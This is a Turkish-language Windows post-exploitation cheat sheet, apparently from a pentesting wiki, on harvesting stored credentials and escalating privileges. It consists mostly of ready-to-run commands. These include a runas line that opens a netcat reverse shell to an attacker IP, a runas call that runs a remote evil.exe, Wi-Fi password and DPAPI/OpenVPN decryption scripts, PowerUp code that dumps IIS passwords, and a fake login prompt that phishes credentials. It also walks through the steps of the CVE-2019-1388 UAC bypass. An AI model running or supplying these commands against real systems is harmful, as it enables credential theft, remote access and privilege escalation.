reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Kimlik bilgileri yöneticisi / Windows kasası

https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault Windows Vault, Windows'un kullanıcıları otomatik olarak giriş yapabileceği sunucular, web siteleri ve diğer programlar için kullanıcı kimlik bilgilerini depolar. İlk bakışta, bu, kullanıcıların Facebook kimlik bilgilerini, Twitter kimlik bilgilerini, Gmail kimlik bilgilerini vb. depolayabileceği ve böylece tarayıcılar aracılığıyla otomatik olarak giriş yapabileceği anlamına gelebilir. Ancak durum böyle değil.

Windows Vault, Windows'un kullanıcıları otomatik olarak giriş yapabileceği kimlik bilgilerini depolar, yani Windows uygulamaları, bir kaynağa erişmek için kimlik bilgilerine ihtiyaç duyduğunda, bu Kimlik Bilgileri Yöneticisi ve Windows Vault'tan yararlanabilir ve kullanıcıların sürekli olarak kullanıcı adı ve şifre girmesi yerine sağlanan kimlik bilgilerini kullanabilir.

Uygulamalar Kimlik Bilgileri Yöneticisi ile etkileşime geçmedikçe, belirli bir kaynağın kimlik bilgilerini kullanmalarının mümkün olmadığını düşünüyorum. Dolayısıyla, uygulamanız kasayı kullanmak istiyorsa, varsayılan depolama kasasından belirli bir kaynağın kimlik bilgilerini iletişim kurarak ve talep ederek kullanmalıdır.

Makinede depolanan kimlik bilgilerini listelemek için cmdkey komutunu kullanın.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Ardından kayıtlı kimlik bilgilerini kullanmak için runas komutunu /savecred seçenekleriyle kullanabilirsiniz. Aşağıdaki örnek, bir SMB paylaşımı aracılığıyla uzak bir ikili dosyayı çağırıyor.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

runas komutunu sağlanan bir kimlik bilgesi kümesi ile kullanma.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Mimikatz, lazagne, credentialfileview, VaultPasswordView veya Empire Powershells modülünden bilgi alınabilir.

DPAPI

Veri Koruma API'sı (DPAPI), verilerin simetrik şifrelemesi için bir yöntem sağlar ve genellikle Windows işletim sisteminde asimetrik özel anahtarların simetrik şifrelemesi için kullanılır. Bu şifreleme, entropiye önemli ölçüde katkıda bulunan bir kullanıcı veya sistem sırrını kullanır.

DPAPI, kullanıcının giriş sırlarından türetilen simetrik bir anahtar aracılığıyla anahtarların şifrelenmesini sağlar. Sistem şifrelemesi içeren senaryolarda, sistem alan kimlik doğrulama sırlarını kullanır.

DPAPI kullanılarak şifrelenmiş kullanıcı RSA anahtarları, %APPDATA%\Microsoft\Protect\{SID} dizininde depolanır, burada {SID} kullanıcının Güvenlik Tanımlayıcısını temsil eder. DPAPI anahtarı, genellikle kullanıcının özel anahtarlarını koruyan anahtarla aynı dosyada bulunan 64 byte'lık rastgele veriden oluşur. (Bu dizine erişim kısıtlıdır ve CMD'de dir komutuyla içeriği listelenemez, ancak PowerShell ile listelenebilir).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Mimikatz modülünü uygun argümanlarla (/pvk veya /rpc) kullanarak şifrelemeyi çözebilirsiniz.

Genellikle ana şifre ile korunan kimlik dosyaları şurada bulunur:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Mimikatz modülü dpapi::cred'i uygun /masterkey ile kullanarak şifreyi çözebilirsiniz. Eğer root iseniz, sekurlsa::dpapi modülü ile bellekten birçok DPAPI masterkey'i çıkarabilirsiniz.

pageDPAPI - Extracting Passwords

PowerShell Kimlik Bilgileri

PowerShell kimlik bilgileri genellikle betik yazma ve otomasyon görevleri için şifrelenmiş kimlik bilgilerini kullanmanın uygun bir yoludur. Kimlik bilgileri genellikle DPAPI kullanılarak korunur, bu da genellikle yalnızca aynı kullanıcı tarafından ve aynı bilgisayarda oluşturuldukları bilgisayar üzerinde çözülebileceği anlamına gelir.

Bir dosyada bulunan PS kimlik bilgilerini çözmek için şunları yapabilirsiniz:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Kaydedilmiş RDP Bağlantıları

Onları HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\ ve HKCU\Software\Microsoft\Terminal Server Client\Servers\ dizinlerinde bulabilirsiniz.

Son Çalıştırılan Komutlar

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Uzak Masaüstü Kimlik Bilgisi Yöneticisi

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Mimikatz dpapi::rdg modülünü uygun /masterkey ile kullanarak herhangi bir .rdg dosyasını şifreleyebilirsiniz Mimikatz sekurlsa::dpapi modülü ile bellekten birçok DPAPI anahtarını çıkarabilirsiniz

Yapışkan Notlar

İnsanlar genellikle Windows iş istasyonlarında StickyNotes uygulamasını kullanarak şifreleri ve diğer bilgileri kaydettiklerinin farkında olmadan, bu dosyanın bir veritabanı dosyası olduğunu. Bu dosya C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite konumunda bulunur ve her zaman aranmaya ve incelenmeye değerdir.

AppCmd.exe

AppCmd.exe'den şifreleri kurtarmak için Yönetici olmanız ve Yüksek Bütünlük seviyesinde çalışmanız gerektiğini unutmayın. AppCmd.exe %systemroot%\system32\inetsrv\ dizininde bulunur. Bu dosya mevcutsa, bazı kimlik bilgilerinin yapılandırılmış olabileceği ve kurtarılabilir olduğu mümkündür.

Bu kod PowerUP'dan çıkarılmıştır:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

C:\Windows\CCM\SCClient.exe dosyasının varlığını kontrol edin. Yükleyiciler SYSTEM ayrıcalıklarıyla çalıştırılır, birçok yükleyici DLL Yan Yükleme açığına sahiptir (https://github.com/enjoiz/Privesc) adresinden bilgi alınabilir.

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Dosyalar ve Kayıt Defteri (Kimlik Bilgileri)

Putty Kimlik Bilgileri

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH Anahtarları

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

Kayıt Defterinde SSH anahtarları

SSH özel anahtarları, HKCU\Software\OpenSSH\Agent\Keys kayıt defteri anahtarının içine depolanabilir, bu yüzden orada ilginç bir şey olup olmadığını kontrol etmelisiniz:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Eğer bu yol içinde herhangi bir giriş bulursanız, muhtemelen kaydedilmiş bir SSH anahtarı olacaktır. Şifreli olarak depolanmış olsa da https://github.com/ropnop/windows_sshagent_extract kullanılarak kolayca şifresi çözülebilir. Bu teknik hakkında daha fazla bilgi burada: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Eğer ssh-agent servisi çalışmıyorsa ve otomatik olarak başlamasını istiyorsanız, şunu çalıştırın:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Bu teknik artık geçerli değil gibi görünüyor. Bazı ssh anahtarları oluşturmayı denedim, onları ssh-add ile ekledim ve bir makineye ssh üzerinden giriş yapmaya çalıştım. HKCU\Software\OpenSSH\Agent\Keys kaydı mevcut değil ve procmon, asimetrik anahtar kimlik doğrulaması sırasında dpapi.dll'nin kullanımını tespit etmedi.

Otomatik dosyalar

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Ayrıca bu dosyaları metasploit kullanarak da arayabilirsiniz: post/windows/gather/enum_unattend

Örnek içerik:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM ve SYSTEM yedeklemeleri

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Bulut Kimlik Bilgileri

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

SiteList.xml dosyasını arayın

Önbelleğe Alınmış GPP Şifresi

Daha önce mevcut olan bir özellik, Grup İlke Tercihleri (GPP) aracılığıyla bir grup makineye özel yerel yönetici hesaplarının dağıtılmasına izin veriyordu. Ancak, bu yöntemin ciddi güvenlik açıkları vardı. İlk olarak, SYSVOL'de XML dosyaları olarak depolanan Grup İlke Nesnelerine (GPO'lar) herhangi bir etki alanı kullanıcısı tarafından erişilebilirdi. İkinci olarak, bu GPP'lerdeki şifreler, genel olarak belgelenmiş varsayılan bir anahtar kullanılarak AES256 ile şifrelenmiş olmasına rağmen, herhangi bir kimlik doğrulama yapmış kullanıcı tarafından çözülebilirdi. Bu, kullanıcıların yükseltilmiş ayrıcalıklar elde etmesine izin verebileceğinden ciddi bir risk oluşturuyordu.

Bu riski azaltmak için, yerel olarak önbelleğe alınmış GPP dosyalarını taramak için bir işlev geliştirildi. Bu dosyalar içinde boş olmayan bir "cpassword" alanı bulunduğunda, işlev şifreyi çözer ve özel bir PowerShell nesnesi döndürür. Bu nesne, GPP ve dosyanın konumu hakkında detaylar içerir ve bu güvenlik açığının tanımlanması ve giderilmesine yardımcı olur.

Bu dosyaları aramak için C:\ProgramData\Microsoft\Group Policy\history veya C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (W Vista'dan önce) konumuna bakın:

  • Groups.xml

  • Services.xml

  • Scheduledtasks.xml

  • DataSources.xml

  • Printers.xml

  • Drives.xml

cPassword'i çözmek için:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Kodları almak için crackmapexec kullanımı:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Yapılandırması

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Örnek web.config dosyası kimlik bilgileriyle:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN kimlik bilgileri

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Günlükler

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Kimlik bilgilerini isteyin

Her zaman kullanıcıdan kimlik bilgilerini girmesini isteyebilirsiniz hatta farklı bir kullanıcının kimlik bilgilerini bile isteyebilirsiniz eğer onları biliyor olabileceğini düşünüyorsanız (müşteriden kimlik bilgilerini sormak gerçekten risklidir):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Kimlik bilgileri içeren olası dosya adları

Bazı zamanlar şifreleri açık metin veya Base64 içeren bilinen dosyalar

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Tüm önerilen dosyaları arayın:

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Geri Dönüşüm Kutusundaki Kimlik Bilgileri

Ayrıca, içinde kimlik bilgileri aramak için Geri Dönüşüm Kutusunu kontrol etmelisiniz.

Çeşitli programlar tarafından kaydedilen şifreleri kurtarmak için şu bağlantıyı kullanabilirsiniz: http://www.nirsoft.net/password_recovery_tools.html

Kayıt Defterinde

Kimlik bilgileri içeren diğer olası kayıt defteri anahtarları

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Kayıttan openssh anahtarlarını çıkarın.

Tarayıcı Geçmişi

Chrome veya Firefox'dan şifrelerin saklandığı veritabanlarını kontrol etmelisiniz. Ayrıca tarayıcıların geçmişini, yer imlerini ve favorilerini kontrol edin, belki bazı şifreler orada saklanmıştır.

Tarayıcılardan şifreleri çıkarmak için araçlar:

COM DLL Üzerine Yazma

Component Object Model (COM), farklı dillerdeki yazılım bileşenleri arasında etkileşim sağlayan Windows işletim sistemi içinde yer alan bir teknolojidir. Her COM bileşeni bir sınıf kimliği (CLSID) aracılığıyla tanımlanır ve her bileşen bir veya daha fazla arayüz aracılığıyla işlevselliği sunar, bu arayüzler arayüz kimlikleri (IID) aracılığıyla tanımlanır.

COM sınıfları ve arayüzler, sırasıyla HKEY_CLASSES_ROOT\CLSID ve HKEY_CLASSES_ROOT\Interface altında kayıt defterinde tanımlanır. Bu kayıt defteri, HKEY_LOCAL_MACHINE\Software\Classes + HKEY_CURRENT_USER\Software\Classes birleştirilerek oluşturulur = HKEY_CLASSES_ROOT.

Bu kayıt defterinin CLSIDs içinde, InProcServer32 adlı çocuk kayıt defterini bulabilirsiniz, bu kayıt defteri bir DLL'ye işaret eden bir varsayılan değer ve Apartment (Tek İplikli), Free (Çoklu İplikli), Both (Tek veya Çoklu) veya Neutral (İplik Nötr) olabilen bir ThreadingModel adlı bir değer içerir.

Temelde, yürütülecek olan DLL'lerden herhangi birini üzerine yazabilirseniz, bu DLL'nin farklı bir kullanıcı tarafından yürütülmesi durumunda yetkileri yükseltebilirsiniz.

Saldırganların COM Hijacking'i kalıcılık mekanizması olarak nasıl kullandığını öğrenmek için şu adrese bakın:

pageCOM Hijacking

Dosyalarda ve kayıt defterinde Genel Şifre araması

Dosya içeriğini arayın

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Belirli bir dosya adıyla dosya arayın

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Kayıt defterinde anahtar adları ve şifreleri arayın

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Parolaları arayan araçlar

MSF-Credentials Eklentisi benim oluşturduğum bir msf eklentisidir. Bu eklenti, kurbanın içinde kimlik bilgilerini arayan her metasploit POST modülünü otomatik olarak çalıştırmak için oluşturulmuştur. Winpeas otomatik olarak bu sayfada belirtilen parolaları içeren tüm dosyaları arar. Lazagne sistemi parolaları çıkarmak için harika bir araçtır.

SessionGopher aracı, bu verileri açık metin olarak saklayan çeşitli araçların (PuTTY, WinSCP, FileZilla, SuperPuTTY ve RDP) oturumları, kullanıcı adlarını ve parolaları arar.

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Sızdırılan İşleyiciler

SİSTEM olarak çalışan bir işlem, OpenProcess() ile tam erişim ile yeni bir işlem açar. Aynı işlem aynı zamanda düşük ayrıcalıklarla yeni bir işlem oluşturur (CreateProcess()), ancak ana işlemin tüm açık işleyicilerini devralır. Sonra, düşük ayrıcalıklı işleme tam erişiminiz varsa, OpenProcess() ile oluşturulan açık işleyiciyi yakalayabilir ve bir kabuk kodu enjekte edebilirsiniz. Bu zafiyetin nasıl tespit edilip istismar edileceği hakkında daha fazla bilgi için bu örneği okuyun. Farklı izin seviyeleriyle devralınan işlemlerin ve iş parçacıklarının daha fazla açık işleyicisini nasıl test edip kötüye kullanacağınız hakkında daha kapsamlı bir açıklama için bu diğer yazıyı okuyun.

Adlandırılmış Boru İstemci Taklit Etme

Borular olarak adlandırılan paylaşılan bellek segmentleri, işlem iletişimini ve veri transferini sağlar.

Windows, farklı ağlar üzerinden bile ilişkisiz işlemlerin veri paylaşmasına izin veren Adlandırılmış Borular adlı bir özellik sunar. Bu, rolleri adlandırılmış boru sunucusu ve adlandırılmış boru istemcisi olarak tanımlanan bir istemci/sunucu mimarisine benzer.

Bir istemci tarafından bir boru aracılığıyla gönderilen verilerde, boruyu kuran sunucu, gerekli SeImpersonate haklarına sahipse istemcinin kimliğini alabilir. İletişim kurduğunuz bir boru üzerinden etkileşime girdiğinde, taklit edebileceğiniz bir ağır ayrıcalıklı işlemi tanımlamak, o işlemin kimliğini aldığınızda daha yüksek ayrıcalıklar elde etme fırsatı sunar. Bu tür bir saldırıyı gerçekleştirmek için talimatlar için yardımcı kılavuzlar burada ve burada bulunabilir.

Ayrıca aşağıdaki araç, burp gibi bir araçla adlandırılmış bir boru iletişimini dinlemeye izin verir: https://github.com/gabriel-sztejnworcel/pipe-intercept ve bu araç, tüm boruları listelemenize ve ayrıcalıkları bulmanıza olanak tanır https://github.com/cyberark/PipeViewer

Çeşitli

Şifreler için Komut Satırlarını İzleme

Bir kullanıcı olarak kabuk aldığınızda, komut satırında kimlik bilgilerini ileten zamanlanmış görevler veya diğer işlemler olabilir. Aşağıdaki betik, işlem komut satırlarını her iki saniyede bir yakalar, mevcut durumu önceki durumla karşılaştırır ve herhangi bir farkı çıktılar.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

İşlemlerden şifreleri çalmak

Düşük Ayrıcalıklı Kullanıcıdan NT\AUTHORITY SYSTEM'e (CVE-2019-1388) / UAC Atlatma

Grafik arayüze erişiminiz varsa (konsol veya RDP aracılığıyla) ve UAC etkinse, bazı Microsoft Windows sürümlerinde düşük ayrıcalıklı bir kullanıcıdan bir terminal veya "NT\AUTHORITY SYSTEM" gibi başka bir işlemi çalıştırmak mümkündür.

Bu, aynı zafiyetle aynı anda ayrıcalıkları yükseltme ve UAC'yi atlatma olanağı sağlar. Ek olarak, herhangi bir şey yüklemeye gerek yoktur ve işlem sırasında kullanılan ikili dosya, Microsoft tarafından imzalanmış ve yayımlanmıştır.

Etkilenen sistemlerin bazıları aşağıdaki gibidir:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Bu zafiyeti sömürmek için aşağıdaki adımları gerçekleştirmek gereklidir:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

Aşağıdaki GitHub deposunda gerekli tüm dosyalar ve bilgiler bulunmaktadır:

https://github.com/jas502n/CVE-2019-1388

Yönetici Orta Seviyeden Yüksek Bütünlük Seviyesine / UAC Atlatma

Bütünlük Seviyeleri hakkında bilgi edinmek için bunu okuyun:

pageIntegrity Levels

Ardından UAC ve UAC atlatmaları hakkında bilgi edinmek için bunu okuyun:

pageUAC - User Account Control

Yüksek Bütünlükten Sisteme

Yeni servis

Eğer zaten Yüksek Bütünlük sürecinde çalışıyorsanız, SİSTEM'e geçiş sadece yeni bir servis oluşturup çalıştırmak olabilir:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

AlwaysInstallElevated

Yüksek Bütünlük sürecinden AlwaysInstallElevated kayıt girdilerini etkinleştirmeyi ve bir ters kabuk kullanarak bir .msi sarmalayıcısı ile bir ters kabuk kurmayı deneyebilirsiniz. Daha fazla bilgi için ilgili kayıt anahtarları ve bir .msi paketini nasıl kuracağınız hakkında buraya bakabilirsiniz.

Yüksek + SeImpersonate ayrıcalıkları ile Sistem'e

Kodu burada bulabilirsiniz.

SeDebug + SeImpersonate'den Tam Token ayrıcalıklarına

